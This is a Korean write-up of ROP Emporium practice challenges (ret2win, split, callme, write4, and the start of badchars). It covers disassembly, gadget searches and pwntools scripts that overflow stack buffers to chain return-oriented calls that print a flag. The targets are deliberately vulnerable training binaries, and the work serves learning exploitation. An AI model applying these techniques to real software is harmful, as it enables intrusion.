오늘은 ROP Emporium을 풀어 볼 것입니다.
익스들이 형편 없고 야매로 작성한 감이 없지 않아 있지만.. ai 없이 직접 작성한 것이니 이해해주기를 바랍니다.
1. ret2win
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/ret2win]
└─$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
pwndbg> checksec
File: /home/kali/Desktop/pwn/ROP/ret2win/ret2win
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
ret2win 문제 바이너리는 64bit ELF 파일이며 카나리, PIE가 꺼져 있습니다.

먼저 info func 명령어로 함수들을 확인했습니다.
ret2win 함수로 이동하면 되는 것 같습니다.
Dump of assembler code for function main:
0x0000000000400697 <+0>: push rbp
0x0000000000400698 <+1>: mov rbp,rsp
0x000000000040069b <+4>: mov rax,QWORD PTR [rip+0x2009b6] # 0x601058 <stdout@@GLIBC_2.2.5>
0x00000000004006a2 <+11>: mov ecx,0x0
0x00000000004006a7 <+16>: mov edx,0x2
0x00000000004006ac <+21>: mov esi,0x0
0x00000000004006b1 <+26>: mov rdi,rax
0x00000000004006b4 <+29>: call 0x4005a0 <setvbuf@plt>
0x00000000004006b9 <+34>: mov edi,0x400808
0x00000000004006be <+39>: call 0x400550 <puts@plt>
0x00000000004006c3 <+44>: mov edi,0x400820
0x00000000004006c8 <+49>: call 0x400550 <puts@plt>
0x00000000004006cd <+54>: mov eax,0x0
0x00000000004006d2 <+59>: call 0x4006e8 <pwnme>
0x00000000004006d7 <+64>: mov edi,0x400828
0x00000000004006dc <+69>: call 0x400550 <puts@plt>
0x00000000004006e1 <+74>: mov eax,0x0
0x00000000004006e6 <+79>: pop rbp
0x00000000004006e7 <+80>: ret
End of assembler dump.
pwndbg> x/s 0x400808
0x400808: "ret2win by ROP Emporium"
pwndbg> x/s 0x400820
0x400820: "x86_64\n"
pwndbg> x/s 0x400828
0x400828: "\nExiting"
main 함수에서는 문자열을 출력하고 pwnme 함수를 호출합니다.
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400838
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x400898
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov edi,0x4008b8
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov edi,0x400918
0x0000000000400729 <+65>: mov eax,0x0
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov edi,0x40091b
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
0x0000000000400755 <+109>: ret
End of assembler dump.
pwnme 함수 내에서는 문자열들을 출력한 뒤, read 함수로 값을 입력할 수 있습니다.
문제는 read함수가 입력을 저장하는 위치는 rbp-0x20인데 0x38만큼 읽기에 return address를 덮을 수 있습니다.
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x400926
0x000000000040075f <+9>: call 0x400550 <puts@plt>
0x0000000000400764 <+14>: mov edi,0x400943
0x0000000000400769 <+19>: call 0x400560 <system@plt>
0x000000000040076e <+24>: nop
0x000000000040076f <+25>: pop rbp
0x0000000000400770 <+26>: ret
End of assembler dump.
pwndbg> x/s 0x400943
0x400943: "/bin/cat flag.txt"
ret2win 함수에서는 system 함수를 이용하여 /bin/cat flag.txt 명령어를 실행하는 것을 확인할 수 있습니다.
from pwn import *
p = process('./ret2win')
ret2win_F = 0x400756
ret = 0x40053e
payload = b'A' * (0x20 + 8)
payload += p64(ret)
payload += p64(ret2win_F)
p.sendafter(b'> ', payload)
p.interactive()
다음과 같이 익스를 작성하였습니다.
버퍼 0x20 바이트, rbp 0x8바이트로 총 40 바이트의 패딩을 넣어 rbp까지 덮고 그 뒤에 ret, ret2win_F을 넣어 주었습니다.
중간에 ret 가젯을 넣은 이유는 스택은 16바이트로 정렬되어야 해서 ret 가젯을 추가했습니다.

2. split
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/split]
└─$ file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/split]
└─$ checksec split
[*] '/home/kali/Desktop/pwn/ROP/split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
split 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

이번 문제는 system@plt 함수가 심볼에 존재합니다.
1번 문제와 동일하게 main에서 pwnme 함수를 호출하고 pwnme 함수에서 read를 받는 구조였습니다.
pwndbg> disas pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400810
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x40083c
0x0000000000400715 <+45>: mov eax,0x0
0x000000000040071a <+50>: call 0x400570 <printf@plt>
0x000000000040071f <+55>: lea rax,[rbp-0x20]
0x0000000000400723 <+59>: mov edx,0x60
0x0000000000400728 <+64>: mov rsi,rax
0x000000000040072b <+67>: mov edi,0x0
0x0000000000400730 <+72>: call 0x400590 <read@plt>
0x0000000000400735 <+77>: mov edi,0x40083f
0x000000000040073a <+82>: call 0x400550 <puts@plt>
0x000000000040073f <+87>: nop
0x0000000000400740 <+88>: leave
0x0000000000400741 <+89>: ret
End of assembler dump.
이번에도 read 함수에서 버퍼는 0x20이지만 0x60만큼 입력받기에 bof가 발생할 수 있습니다.
Dump of assembler code for function system@plt:
0x0000000000400560 <+0>: jmp QWORD PTR [rip+0x200aba] # 0x601020 <system@got.plt>
0x0000000000400566 <+6>: push 0x1
0x000000000040056b <+11>: jmp 0x400540
End of assembler dump.
system 함수를 사용하여 ROP를 하면 될 거라고 생각했습니다.
pwndbg> info variable
All defined variables:
Non-debugging symbols:
0x00000000004007e0 _IO_stdin_used
0x0000000000400854 __GNU_EH_FRAME_HDR
0x00000000004009dc __FRAME_END__
0x0000000000600e10 __frame_dummy_init_array_entry
0x0000000000600e10 __init_array_start
0x0000000000600e18 __do_global_dtors_aux_fini_array_entry
0x0000000000600e18 __init_array_end
0x0000000000600e20 _DYNAMIC
0x0000000000601000 _GLOBAL_OFFSET_TABLE_
0x0000000000601050 __data_start
0x0000000000601050 data_start
0x0000000000601058 __dso_handle
0x0000000000601060 usefulString
0x0000000000601072 __bss_start
0x0000000000601072 _edata
0x0000000000601078 __TMC_END__
0x0000000000601078 stdout
0x0000000000601078 stdout@@GLIBC_2.2.5
0x0000000000601080 completed
0x0000000000601088 _end
info variable 명령어를 통해 변수들을 확인하니 usefulString이라는 변수가 존재합니다.

0x601060 주소에 /bin/cat flag.txt 문자열이 저장되어 있습니다.
이걸 사용해서 system 함수에 해당 문자열을 인자로 주면 됩니다.

ROPgadget을 통해 ROP를 할 때 필요한 pop rdi 가젯을 구할 수 있습니다.
from pwn import *
p = process('./split')
pop_rdi = 0x4007c3
shell = 0x601060
system = 0x400560
ret = 0x40053e
payload = b'A' * (0x20 + 8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(shell)
payload += p64(system)
p.sendafter(b'> ', payload)
p.interactive()
다음과 같이 익스를 작성했습니다.
이번에도 버퍼 0x20 바이트, rbp 0x8 바이트로 총 40 바이트 패딩을 넣어주고 pop rdi 가젯을 사용하여 "/bin/cat flag.txt" 문자열을 rdi에 저장하고 system 함수를 호출하였습니다.

3. callme
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/callme]
└─$ file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/callme]
└─$ checksec callme
[*] '/home/kali/Desktop/pwn/ROP/callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
callme 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

info func으로 확인해보니 usefulFunction과 usefulGadgets 함수가 존재합니다.
그리고 callme_one, callme_two, callme_three 함수가 존재하며 순서대로 호출하면 되는 것 같습니다.
Dump of assembler code for function usefulFunction:
0x00000000004008f2 <+0>: push rbp
0x00000000004008f3 <+1>: mov rbp,rsp
0x00000000004008f6 <+4>: mov edx,0x6
0x00000000004008fb <+9>: mov esi,0x5
0x0000000000400900 <+14>: mov edi,0x4
0x0000000000400905 <+19>: call 0x4006f0 <callme_three@plt>
0x000000000040090a <+24>: mov edx,0x6
0x000000000040090f <+29>: mov esi,0x5
0x0000000000400914 <+34>: mov edi,0x4
0x0000000000400919 <+39>: call 0x400740 <callme_two@plt>
0x000000000040091e <+44>: mov edx,0x6
0x0000000000400923 <+49>: mov esi,0x5
0x0000000000400928 <+54>: mov edi,0x4
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
0x0000000000400932 <+64>: mov edi,0x1
0x0000000000400937 <+69>: call 0x400750 <exit@plt>
End of assembler dump.
Dump of assembler code for function usefulGadgets:
0x000000000040093c <+0>: pop rdi
0x000000000040093d <+1>: pop rsi
0x000000000040093e <+2>: pop rdx
0x000000000040093f <+3>: ret
End of assembler dump.
usefulFunction 함수는 3개의 인자를 전달하여 callme_three, callme_two, callme_one 함수를 호출하고 있습니다.
usefulGadgets 함수는 pop rdi; pop rsi; pop rdx; ret으로 환상적인 가젯인 것을 볼 수 있습니다.
그러면 usefulGadgets로 인자를 전달하여 3개의 함수를 호출하면 될 것 같습니다.
Dump of assembler code for function pwnme:
0x0000000000400898 <+0>: push rbp
0x0000000000400899 <+1>: mov rbp,rsp
0x000000000040089c <+4>: sub rsp,0x20
0x00000000004008a0 <+8>: lea rax,[rbp-0x20]
0x00000000004008a4 <+12>: mov edx,0x20
0x00000000004008a9 <+17>: mov esi,0x0
0x00000000004008ae <+22>: mov rdi,rax
0x00000000004008b1 <+25>: call 0x400700 <memset@plt>
0x00000000004008b6 <+30>: mov edi,0x4009f0
0x00000000004008bb <+35>: call 0x4006d0 <puts@plt>
0x00000000004008c0 <+40>: mov edi,0x400a13
0x00000000004008c5 <+45>: mov eax,0x0
0x00000000004008ca <+50>: call 0x4006e0 <printf@plt>
0x00000000004008cf <+55>: lea rax,[rbp-0x20]
0x00000000004008d3 <+59>: mov edx,0x200
0x00000000004008d8 <+64>: mov rsi,rax
0x00000000004008db <+67>: mov edi,0x0
0x00000000004008e0 <+72>: call 0x400710 <read@plt>
0x00000000004008e5 <+77>: mov edi,0x400a16
0x00000000004008ea <+82>: call 0x4006d0 <puts@plt>
0x00000000004008ef <+87>: nop
0x00000000004008f0 <+88>: leave
0x00000000004008f1 <+89>: ret
End of assembler dump.
pwnme 함수를 보면 read 함수에서 버퍼는 0x20인데 0x200만큼 읽기 때문에 bof가 발생할 수 있습니다.
Dump of assembler code for function callme_one:
0x00007ffff7c0081a <+0>: push rbp
0x00007ffff7c0081b <+1>: mov rbp,rsp
0x00007ffff7c0081e <+4>: sub rsp,0x30
0x00007ffff7c00822 <+8>: mov QWORD PTR [rbp-0x18],rdi
0x00007ffff7c00826 <+12>: mov QWORD PTR [rbp-0x20],rsi
0x00007ffff7c0082a <+16>: mov QWORD PTR [rbp-0x28],rdx
0x00007ffff7c0082e <+20>: movabs rax,0xdeadbeefdeadbeef
0x00007ffff7c00838 <+30>: cmp QWORD PTR [rbp-0x18],rax
0x00007ffff7c0083c <+34>: jne 0x7ffff7c00912 <callme_one+248>
0x00007ffff7c00842 <+40>: movabs rax,0xcafebabecafebabe
0x00007ffff7c0084c <+50>: cmp QWORD PTR [rbp-0x20],rax
0x00007ffff7c00850 <+54>: jne 0x7ffff7c00912 <callme_one+248>
0x00007ffff7c00856 <+60>: movabs rax,0xd00df00dd00df00d
0x00007ffff7c00860 <+70>: cmp QWORD PTR [rbp-0x28],rax
0x00007ffff7c00864 <+74>: jne 0x7ffff7c00912 <callme_one+248>
.
.
.
0x00007ffff7c00912 <+248>: lea rdi,[rip+0x301] # 0x7ffff7c00c1a
0x00007ffff7c00919 <+255>: call 0x7ffff7c006c0 <puts@plt>
0x00007ffff7c0091e <+260>: mov edi,0x1
0x00007ffff7c00923 <+265>: call 0x7ffff7c00720 <exit@plt>
0x00007ffff7c00928 <+270>: nop
0x00007ffff7c00929 <+271>: leave
0x00007ffff7c0092a <+272>: ret
End of assembler dump.
callme_one 함수를 보면 초반에 인자로 받은 rdi, rsi, rdx를 스택에 저장해두고 그 값을 0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d과 비교하며, 다를 시 종료합니다.
callme_two, callme_three도 동일합니다.
그러면 아까 usefulGadgets 함수를 사용해서 인자를 지정해서 호출하면 됩니다.
from pwn import *
p = process('./callme')
pop_rdi_rsi_rdx = 0x40093c
ret = 0x4006be
callme_one = 0x400726
callme_two = 0x400746
callme_three = 0x4006f6
dead = 0xdeadbeefdeadbeef
cafe = 0xcafebabecafebabe
d00d = 0xd00df00dd00df00d
payload = b'A' * (0x20 + 8)
payload += p64(pop_rdi_rsi_rdx)
payload += p64(dead)
payload += p64(cafe)
payload += p64(d00d)
payload += p64(callme_one)
payload += p64(pop_rdi_rsi_rdx)
payload += p64(dead)
payload += p64(cafe)
payload += p64(d00d)
payload += p64(callme_two)
payload += p64(pop_rdi_rsi_rdx)
payload += p64(dead)
payload += p64(cafe)
payload += p64(d00d)
payload += p64(callme_three)
p.sendafter(b'> ', payload)
p.interactive()
다음과 같이 익스를 작성했습니다.
usefulGadgets 함수를 사용하여 rdi, rsi, rdx에 값을 넣은 뒤, callme_n 함수를 호출하는 것을 반복하였습니다.

4. write4
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/write4]
└─$ file write4
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/write4]
└─$ checksec write4
[*] '/home/kali/Desktop/pwn/ROP/write4/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
write4 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

이번에도 usefulFunction 함수와 usefulGadgets 함수, print_file 함수가 존재합니다.
Dump of assembler code for function pwnme:
0x00007ffff7c008aa <+0>: push rbp
0x00007ffff7c008ab <+1>: mov rbp,rsp
0x00007ffff7c008ae <+4>: sub rsp,0x20
0x00007ffff7c008b2 <+8>: mov rax,QWORD PTR [rip+0x200727] # 0x7ffff7e00fe0
0x00007ffff7c008b9 <+15>: mov rax,QWORD PTR [rax]
0x00007ffff7c008bc <+18>: mov ecx,0x0
0x00007ffff7c008c1 <+23>: mov edx,0x2
0x00007ffff7c008c6 <+28>: mov esi,0x0
0x00007ffff7c008cb <+33>: mov rdi,rax
0x00007ffff7c008ce <+36>: call 0x7ffff7c00790 <setvbuf@plt>
0x00007ffff7c008d3 <+41>: lea rdi,[rip+0x106] # 0x7ffff7c009e0
0x00007ffff7c008da <+48>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c008df <+53>: lea rdi,[rip+0x111] # 0x7ffff7c009f7
0x00007ffff7c008e6 <+60>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c008eb <+65>: lea rax,[rbp-0x20]
0x00007ffff7c008ef <+69>: mov edx,0x20
0x00007ffff7c008f4 <+74>: mov esi,0x0
0x00007ffff7c008f9 <+79>: mov rdi,rax
0x00007ffff7c008fc <+82>: call 0x7ffff7c00760 <memset@plt>
0x00007ffff7c00901 <+87>: lea rdi,[rip+0xf8] # 0x7ffff7c00a00
0x00007ffff7c00908 <+94>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c0090d <+99>: lea rdi,[rip+0x115] # 0x7ffff7c00a29
0x00007ffff7c00914 <+106>: mov eax,0x0
0x00007ffff7c00919 <+111>: call 0x7ffff7c00750 <printf@plt>
0x00007ffff7c0091e <+116>: lea rax,[rbp-0x20]
0x00007ffff7c00922 <+120>: mov edx,0x200
0x00007ffff7c00927 <+125>: mov rsi,rax
0x00007ffff7c0092a <+128>: mov edi,0x0
0x00007ffff7c0092f <+133>: call 0x7ffff7c00770 <read@plt>
0x00007ffff7c00934 <+138>: lea rdi,[rip+0xf1] # 0x7ffff7c00a2c
0x00007ffff7c0093b <+145>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c00940 <+150>: nop
0x00007ffff7c00941 <+151>: leave
0x00007ffff7c00942 <+152>: ret
End of assembler dump.
pwnme 함수에서는 이전 문제와 동일하게 read 함수에서 버퍼는 0x20인데 0x200만큼 읽어 bof가 발생할 수 있습니다.
Dump of assembler code for function usefulFunction:
0x0000000000400617 <+0>: push rbp
0x0000000000400618 <+1>: mov rbp,rsp
0x000000000040061b <+4>: mov edi,0x4006b4
0x0000000000400620 <+9>: call 0x400510 <print_file@plt>
0x0000000000400625 <+14>: nop
0x0000000000400626 <+15>: pop rbp
0x0000000000400627 <+16>: ret
End of assembler dump.
pwndbg> disas usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400628 <+0>: mov QWORD PTR [r14],r15
0x000000000040062b <+3>: ret
0x000000000040062c <+4>: nop DWORD PTR [rax+0x0]
End of assembler dump.
usefulFunction 함수에서는 print_file을 호출합니다.
usefulGadgets 함수는 r14가 가리키는 메모리에 r15 값을 저장합니다.
Dump of assembler code for function print_file:
0x00007ffff7c00943 <+0>: push rbp
0x00007ffff7c00944 <+1>: mov rbp,rsp
0x00007ffff7c00947 <+4>: sub rsp,0x40
0x00007ffff7c0094b <+8>: mov QWORD PTR [rbp-0x38],rdi
0x00007ffff7c0094f <+12>: mov QWORD PTR [rbp-0x8],0x0
0x00007ffff7c00957 <+20>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c0095b <+24>: lea rsi,[rip+0xd5] # 0x7ffff7c00a37
0x00007ffff7c00962 <+31>: mov rdi,rax
0x00007ffff7c00965 <+34>: call 0x7ffff7c007a0 <fopen@plt>
0x00007ffff7c0096a <+39>: mov QWORD PTR [rbp-0x8],rax
0x00007ffff7c0096e <+43>: cmp QWORD PTR [rbp-0x8],0x0
0x00007ffff7c00973 <+48>: jne 0x7ffff7c00997 <print_file+84>
0x00007ffff7c00975 <+50>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c00979 <+54>: mov rsi,rax
0x00007ffff7c0097c <+57>: lea rdi,[rip+0xb6] # 0x7ffff7c00a39
0x00007ffff7c00983 <+64>: mov eax,0x0
0x00007ffff7c00988 <+69>: call 0x7ffff7c00750 <printf@plt>
0x00007ffff7c0098d <+74>: mov edi,0x1
0x00007ffff7c00992 <+79>: call 0x7ffff7c007b0 <exit@plt>
0x00007ffff7c00997 <+84>: mov rdx,QWORD PTR [rbp-0x8]
0x00007ffff7c0099b <+88>: lea rax,[rbp-0x30]
0x00007ffff7c0099f <+92>: mov esi,0x21
0x00007ffff7c009a4 <+97>: mov rdi,rax
0x00007ffff7c009a7 <+100>: call 0x7ffff7c00780 <fgets@plt>
0x00007ffff7c009ac <+105>: lea rax,[rbp-0x30]
0x00007ffff7c009b0 <+109>: mov rdi,rax
0x00007ffff7c009b3 <+112>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c009b8 <+117>: mov rax,QWORD PTR [rbp-0x8]
0x00007ffff7c009bc <+121>: mov rdi,rax
0x00007ffff7c009bf <+124>: call 0x7ffff7c00740 <fclose@plt>
0x00007ffff7c009c4 <+129>: mov QWORD PTR [rbp-0x8],0x0
0x00007ffff7c009cc <+137>: nop
0x00007ffff7c009cd <+138>: leave
0x00007ffff7c009ce <+139>: ret
End of assembler dump.
print_file 함수를 보면 rdi를 스택에 저장하고 해당 값을 fopen 함수로 열고 파일의 내용을 읽어주는 것을 볼 수 있습니다.
그러면 flag.txt를 인자로 주면 될 것 같습니다.
메모리에 쓸 수 있는 가젯이 있으니 flag.txt를 쓸 수 있는 영역에 넣어두고 pop rdi 가젯을 구해 메모리를 주어 읽게 하면 될 것 같습니다.
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/write4]
└─$ ROPgadget --binary ./write4 | grep 'pop rdi'
0x0000000000400693 : pop rdi ; ret
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/write4]
└─$ ROPgadget --binary ./write4 | grep 'pop r14'
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
ROPgadget을 통해 가젯들을 구해주었습니다.

vmmap으로 확인해보니 bss 영역에 쓰면 될 것 같습니다.
from pwn import *
p = process('./write4')
pop_rdi = 0x400693
ret = 0x4004e6
print_file = 0x400510
use_gadget = 0x400628
use_func = 0x400617
bss = 0x601200
pop_r14_r15 = 0x400690
payload = b'A' * (0x20 + 8)
payload += p64(pop_r14_r15)
payload += p64(bss)
payload += b'flag.txt'
payload += p64(use_gadget)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(print_file)
p.sendafter(b'> ', payload)
p.interactive()
다음과 같이 익스를 작성했습니다.
40바이트 패딩으로 rbp까지 덮고 usefulGadgets 함수를 통해 0x601200에 "flag.txt"를 저장합니다.
그 후 pop rdi 가젯으로 0x601200을 전달하여 print_file 함수를 호출합니다.

5. badchars
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/badchars]
└─$ file badchars
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6c79e265b17cf6845beca7e17d6d8ac2ecb27556, not stripped
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/badchars]
└─$ checksec badchars
[*] '/home/kali/Desktop/pwn/ROP/badchars/badchars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
badchars 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

해당 바이너리를 실행해보면 badchars로 x, g, a, .를 출력합니다.

info func을 확인해보면 print_file이 존재하고, usefulFunction, usefulGadgets 함수가 존재합니다.
Dump of assembler code for function pwnme:
0x00007ffff7c008fa <+0>: push rbp
0x00007ffff7c008fb <+1>: mov rbp,rsp
0x00007ffff7c008fe <+4>: sub rsp,0x40
0x00007ffff7c00902 <+8>: mov rax,QWORD PTR [rip+0x2006cf] # 0x7ffff7e00fd8
0x00007ffff7c00909 <+15>: mov rax,QWORD PTR [rax]
0x00007ffff7c0090c <+18>: mov ecx,0x0
0x00007ffff7c00911 <+23>: mov edx,0x2
0x00007ffff7c00916 <+28>: mov esi,0x0
0x00007ffff7c0091b <+33>: mov rdi,rax
0x00007ffff7c0091e <+36>: call 0x7ffff7c007e0 <setvbuf@plt>
0x00007ffff7c00923 <+41>: lea rdi,[rip+0x17a] # 0x7ffff7c00aa4
0x00007ffff7c0092a <+48>: call 0x7ffff7c00780 <puts@plt>
0x00007ffff7c0092f <+53>: lea rdi,[rip+0x187] # 0x7ffff7c00abd
0x00007ffff7c00936 <+60>: call 0x7ffff7c00780 <puts@plt>
0x00007ffff7c0093b <+65>: lea rax,[rbp-0x40]
0x00007ffff7c0093f <+69>: add rax,0x20
0x00007ffff7c00943 <+73>: mov edx,0x20
0x00007ffff7c00948 <+78>: mov esi,0x0
0x00007ffff7c0094d <+83>: mov rdi,rax
0x00007ffff7c00950 <+86>: call 0x7ffff7c007b0 <memset@plt>
0x00007ffff7c00955 <+91>: lea rdi,[rip+0x16c] # 0x7ffff7c00ac8
0x00007ffff7c0095c <+98>: call 0x7ffff7c00780 <puts@plt>
0x00007ffff7c00961 <+103>: lea rdi,[rip+0x181] # 0x7ffff7c00ae9
0x00007ffff7c00968 <+110>: mov eax,0x0
0x00007ffff7c0096d <+115>: call 0x7ffff7c007a0 <printf@plt>
0x00007ffff7c00972 <+120>: lea rax,[rbp-0x40]
0x00007ffff7c00976 <+124>: add rax,0x20
0x00007ffff7c0097a <+128>: mov edx,0x200
0x00007ffff7c0097f <+133>: mov rsi,rax
0x00007ffff7c00982 <+136>: mov edi,0x0
0x00007ffff7c00987 <+141>: call 0x7ffff7c007c0 <read@plt>
0x00007ffff7c0098c <+146>: mov QWORD PTR [rbp-0x40],rax
0x00007ffff7c00990 <+150>: mov QWORD PTR [rbp-0x38],0x0
0x00007ffff7c00998 <+158>: jmp 0x7ffff7c009eb <pwnme+241>
0x00007ffff7c0099a <+160>: mov QWORD PTR [rbp-0x30],0x0
0x00007ffff7c009a2 <+168>: jmp 0x7ffff7c009d5 <pwnme+219>
0x00007ffff7c009a4 <+170>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c009a8 <+174>: movzx ecx,BYTE PTR [rbp+rax*1-0x20]
0x00007ffff7c009ad <+179>: mov rax,QWORD PTR [rbp-0x30]
0x00007ffff7c009b1 <+183>: mov rdx,QWORD PTR [rip+0x200628] # 0x7ffff7e00fe0
0x00007ffff7c009b8 <+190>: movzx eax,BYTE PTR [rdx+rax*1]
0x00007ffff7c009bc <+194>: cmp cl,al
0x00007ffff7c009be <+196>: jne 0x7ffff7c009c9 <pwnme+207>
0x00007ffff7c009c0 <+198>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c009c4 <+202>: mov BYTE PTR [rbp+rax*1-0x20],0xeb
0x00007ffff7c009c9 <+207>: mov rax,QWORD PTR [rbp-0x30]
0x00007ffff7c009cd <+211>: add rax,0x1
0x00007ffff7c009d1 <+215>: mov QWORD PTR [rbp-0x30],rax
0x00007ffff7c009d5 <+219>: mov rax,QWORD PTR [rbp-0x30]
0x00007ffff7c009d9 <+223>: cmp rax,0x3
0x00007ffff7c009dd <+227>: jbe 0x7ffff7c009a4 <pwnme+170>
0x00007ffff7c009df <+229>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c009e3 <+233>: add rax,0x1
0x00007ffff7c009e7 <+237>: mov QWORD PTR [rbp-0x38],rax
0x00007ffff7c009eb <+241>: mov rdx,QWORD PTR [rbp-0x38]
0x00007ffff7c009ef <+245>: mov rax,QWORD PTR [rbp-0x40]
0x00007ffff7c009f3 <+249>: cmp rdx,rax
0x00007ffff7c009f6 <+252>: jb 0x7ffff7c0099a <pwnme+160>
0x00007ffff7c009f8 <+254>: lea rdi,[rip+0xed] # 0x7ffff7c00aec
0x00007ffff7c009ff <+261>: call 0x7ffff7c00780 <puts@plt>
0x00007ffff7c00a04 <+266>: nop
0x00007ffff7c00a05 <+267>: leave
0x00007ffff7c00a06 <+268>: ret
End of assembler dump.
이번 pwnme 함수의 read 함수에서 버퍼는 0x20인데 0x200만큼 입력할 수 있어 bof가 발생할 수 있습니다.

추가로 pwnme 함수에서 badchars를 검사하며 입력값에 badchars가 존재하면 0xeb로 덮어씁니다.
Dump of assembler code for function usefulFunction:
0x0000000000400617 <+0>: push rbp
0x0000000000400618 <+1>: mov rbp,rsp
0x000000000040061b <+4>: mov edi,0x4006c4
0x0000000000400620 <+9>: call 0x400510 <print_file@plt>
0x0000000000400625 <+14>: nop
0x0000000000400626 <+15>: pop rbp
0x0000000000400627 <+16>: ret
End of assembler dump.
Dump of assembler code for function usefulGadgets:
0x0000000000400628 <+0>: xor BYTE PTR [r15],r14b
0x000000000040062b <+3>: ret
0x000000000040062c <+4>: add BYTE PTR [r15],r14b
0x000000000040062f <+7>: ret
0x0000000000400630 <+8>: sub BYTE PTR [r15],r14b
0x0000000000400633 <+11>: ret
